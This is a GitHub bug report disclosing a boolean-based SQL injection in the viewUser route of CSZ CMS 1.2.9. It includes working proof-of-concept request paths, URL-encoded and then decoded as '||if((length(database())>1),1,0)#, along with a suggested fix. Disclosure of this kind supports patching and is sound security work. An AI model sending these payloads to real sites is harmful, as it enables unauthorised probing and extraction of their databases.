Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Bug Report: There is a front-end boolean-based sql injection vulnerability #33

Open
w4nd3r-hya opened this issue Jan 14, 2022 · 0 comments

Comments

@w4nd3r-hya
Copy link

Hi, I found a front-end sql injection vulnerability in cszcms-1.2.9

The vulnerable code is on cszcms\controllers\Member.php#viewUser

The $this->uri->segment(3) parameter here can be controlled by the user

image

And no filtering leads to sql injection vulnerability

image

First register a user in the foreground, then log in, then visit
/member/viewUser/%27%7c%7c%69%66%28%28%6c%65%6e%67%74%68%28%64%61%74%61%62%61%73%65%28%29%29%3e%31%29%2c%31%2c%30%29%23

%27%7c%7c%69%66%28%28%6c%65%6e%67%74%68%28%64%61%74%61%62%61%73%65%28%29%29%3e%31%29%2c%31%2c%30%29%23
=>
'||if((length(database())>1),1,0)#

The content returned by the webpage is:
image

visit
/member/viewUser/%27%7c%7c%69%66%28%28%6c%65%6e%67%74%68%28%64%61%74%61%62%61%73%65%28%29%29%3c%31%29%2c%31%2c%30%29%23

%27%7c%7c%69%66%28%28%6c%65%6e%67%74%68%28%64%61%74%61%62%61%73%65%28%29%29%3c%31%29%2c%31%2c%30%29%23
=>
'||if((length(database())<1),1,0)#

The content returned by the webpage is:
image

It's a Boolean-based SQL injection

Suggest: Add a filter function to this parameter

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant